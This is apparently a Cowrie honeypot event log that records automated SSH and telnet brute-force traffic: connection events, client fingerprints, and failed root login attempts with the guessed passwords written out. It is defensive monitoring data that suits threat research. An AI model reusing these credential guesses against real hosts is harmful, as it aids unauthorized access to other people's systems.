{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:42.328547Z","src_ip":"37.143.61.84","session":"6b1e9e92af34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef1234","message":"login attempt [root/abcdef1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:42.717318Z","src_ip":"37.143.61.84","session":"6b1e9e92af34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:43.829473Z","src_ip":"37.143.61.84","session":"6b1e9e92af34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.69828748703003,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:53.102219Z","src_ip":"192.119.13.58","session":"440b98a6ca1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80200958251953,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:53.112039Z","src_ip":"192.119.13.58","session":"8f78805a3d0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44868,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df26457c747","protocol":"telnet","message":"New connection: 192.119.13.58:44868 (10.17.0.5:23) [session: 9df26457c747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:57.001992Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33084,"dst_ip":"10.17.0.5","dst_port":23,"session":"294e468bb6ca","protocol":"telnet","message":"New connection: 192.119.13.58:33084 (10.17.0.5:23) [session: 294e468bb6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:01.076082Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf2b1df75a1","protocol":"telnet","message":"New connection: 192.119.13.58:57414 (10.17.0.5:23) [session: ccf2b1df75a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:07.295033Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":41342,"dst_ip":"159.203.135.109","dst_port":22,"session":"3903a0e0e069","protocol":"ssh","message":"New connection: 207.56.225.202:41342 (159.203.135.109:22) [session: 3903a0e0e069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:15.956410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:15.968015Z","src_ip":"207.56.225.202","session":"3903a0e0e069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:16.163754Z","src_ip":"207.56.225.202","session":"3903a0e0e069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tricia","message":"login attempt [root/tricia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:16.808133Z","src_ip":"207.56.225.202","session":"3903a0e0e069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":38934,"dst_ip":"159.203.135.109","dst_port":22,"session":"ade8699e5fbc","protocol":"ssh","message":"New connection: 5.181.124.9:38934 (159.203.135.109:22) [session: ade8699e5fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:17.263660Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:17.975526Z","src_ip":"207.56.225.202","session":"3903a0e0e069","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:18.878271Z","src_ip":"5.181.124.9","session":"ade8699e5fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43306,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b9d89eaaf23","protocol":"telnet","message":"New connection: 192.119.13.58:43306 (10.17.0.5:23) [session: 7b9d89eaaf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:19.030533Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:20.868293Z","src_ip":"5.181.124.9","session":"ade8699e5fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":51470,"dst_ip":"159.203.135.109","dst_port":22,"session":"8140145610b9","protocol":"ssh","message":"New connection: 77.105.130.18:51470 (159.203.135.109:22) [session: 8140145610b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:21.984972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:21.990343Z","src_ip":"77.105.130.18","session":"8140145610b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:22.085784Z","src_ip":"77.105.130.18","session":"8140145610b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e,./","message":"login attempt [root/1q2w3e,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:22.499509Z","src_ip":"77.105.130.18","session":"8140145610b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.209187746047974,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:23.239578Z","src_ip":"192.119.13.58","session":"7b9d89eaaf23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:23.597470Z","src_ip":"77.105.130.18","session":"8140145610b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41134,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86b7072e914","protocol":"telnet","message":"New connection: 192.119.13.58:41134 (10.17.0.5:23) [session: d86b7072e914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:24.578905Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"energystar","message":"login attempt [root/energystar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:27.263618Z","src_ip":"5.181.124.9","session":"ade8699e5fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:31.065325Z","src_ip":"5.181.124.9","session":"ade8699e5fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":57792,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d164ea3a991","protocol":"ssh","message":"New connection: 165.154.23.26:57792 (159.203.135.109:22) [session: 4d164ea3a991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:31.722324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:31.733087Z","src_ip":"165.154.23.26","session":"4d164ea3a991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:31.946442Z","src_ip":"165.154.23.26","session":"4d164ea3a991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig2022","message":"login attempt [root/K0nig2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:32.802034Z","src_ip":"165.154.23.26","session":"4d164ea3a991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":60489,"dst_ip":"159.203.135.109","dst_port":22,"session":"fed53564cb3f","protocol":"ssh","message":"New connection: 103.24.63.85:60489 (159.203.135.109:22) [session: fed53564cb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:33.996926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:34.012233Z","src_ip":"103.24.63.85","session":"fed53564cb3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:34.027738Z","src_ip":"165.154.23.26","session":"4d164ea3a991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:34.246544Z","src_ip":"103.24.63.85","session":"fed53564cb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:34.876790Z","src_ip":"103.24.63.85","session":"fed53564cb3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:36.079390Z","src_ip":"103.24.63.85","session":"fed53564cb3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":52328,"dst_ip":"159.203.135.109","dst_port":22,"session":"b70ef0de9d94","protocol":"ssh","message":"New connection: 43.135.176.251:52328 (159.203.135.109:22) [session: b70ef0de9d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:40.716487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:40.721288Z","src_ip":"43.135.176.251","session":"b70ef0de9d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:40.789921Z","src_ip":"43.135.176.251","session":"b70ef0de9d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilson","message":"login attempt [root/wilson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:41.097853Z","src_ip":"43.135.176.251","session":"b70ef0de9d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:42.169814Z","src_ip":"43.135.176.251","session":"b70ef0de9d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":38036,"dst_ip":"159.203.135.109","dst_port":22,"session":"71dfa7f1574a","protocol":"ssh","message":"New connection: 92.207.4.157:38036 (159.203.135.109:22) [session: 71dfa7f1574a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:42.737247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:42.750241Z","src_ip":"92.207.4.157","session":"71dfa7f1574a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:42.860925Z","src_ip":"92.207.4.157","session":"71dfa7f1574a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef1234","message":"login attempt [root/abcdef1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:43.333256Z","src_ip":"92.207.4.157","session":"71dfa7f1574a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:44.445792Z","src_ip":"92.207.4.157","session":"71dfa7f1574a","protocol":"ssh"}
